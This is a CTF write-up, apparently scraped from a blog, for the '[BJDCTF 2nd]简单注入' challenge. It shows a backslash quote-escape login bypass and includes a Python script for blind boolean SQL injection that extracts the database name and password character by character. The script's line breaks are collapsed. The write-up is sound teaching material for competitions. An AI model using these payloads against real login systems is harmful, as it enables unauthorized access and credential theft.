当前位置: 首页 > news >正文

[BJDCTF 2nd]简单注入

sqlsqlsqlsqlsql又来喽

过滤了单双引号,等于符号,还有select等,但是这里没有二次注入 。扫描发现hint.txt

看出题人的意思是,得到密码即可获得flag。

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

不能用引号闭合。所以可以使用转义符"\"。

设计
username=admin\
password=||True#结果
select * from users where username='admin\' and password='||True#';现在的username=admin\' and password=这样就变成了合法的异或查询,此查询结果为真,页面返回关键字BJD needs to be stronger若返回为假,则关键字为You konw ,P3rh4ps needs a girl friend

从提示例我们还可以得知列名是password,表名是users。

明白了原理,脚本就好写了。因为 "=" "like"都被过滤了,这里使用>。

这里我写上自己脚本

import requestsflag=''url='http://d20acdc1-326d-4834-9339-ba1a7f747356.node5.buuoj.cn:81/index.php'
for i in range(1,200):for num in range(128,40,-1):data = {"username":"admin\\","password":"||ascii(substr(database(),{},1))>{}#".format(str(i),str(num))}data1 = {"username": "admin\\", "password": "||ASCII(SUBSTR(password,{},1))>{}#".format(str(i), str(num))}#print(data)content=requests.post(url=url,data=data1)#print(content.text)if "stronger" in content.text:num1=num+1print(chr(num1),end='')break

 至于这种写法ASCII(SUBSTR(password,1,1)),我还是第一次见,为什么可以直接写password列名

最后用admin(把password换成username就可以爆出了)和密码登录就行了

http://www.lryc.cn/news/393780.html

相关文章:

  • java项目的一些功能(完善登录功能、注册接口参数校验、完善分页查询、完善日期格式、更新文章分类和添加文章分类的分组校验、自定义校验、文件上传 )
  • Mac安装AndroidStudio连接手机 客户端测试
  • Git 完整的提交规范教程
  • 【TB作品】51单片机 Proteus仿真 00001仿真实物PID电机调速系统
  • 【LInux】从动态库的加载深入理解页表机制
  • IDEA与通义灵码的智能编程之旅
  • 多表查询sql
  • 移动端UI风格营造舒适氛围
  • 摸鱼大数据——Spark SQL——DataFrame详解一
  • 【Java探索之旅】初识多态_概念_实现条件
  • [Day 26] 區塊鏈與人工智能的聯動應用:理論、技術與實踐
  • 算法 —— 滑动窗口
  • 【设计模式】工厂模式(定义 | 特点 | Demo入门讲解)
  • Linux之计划和日志
  • C++ 多态篇
  • 【LVGL-SquareLine Studio】
  • mysqli 与mysql 区别和联系, 举例说明
  • 【SpringCloud应用框架】Nacos安装和服务提供者注册
  • 英语学习交流小程序的设计
  • 实现Java多线程中的线程间通信
  • C++模板元编程(一)——可变参数模板
  • kafka中
  • Android 获取当前电池状态
  • 【JVM 的内存模型】
  • 【雷丰阳-谷粒商城 】【分布式高级篇-微服务架构篇】【17】认证服务01—短信/邮件/异常/MD5
  • geom buffer制作
  • 微软正在放弃React
  • U盘非安全退出后的格式化危机与高效恢复策略
  • 安卓虚拟位置修改
  • 大数据面试题之Presto[Trino](5)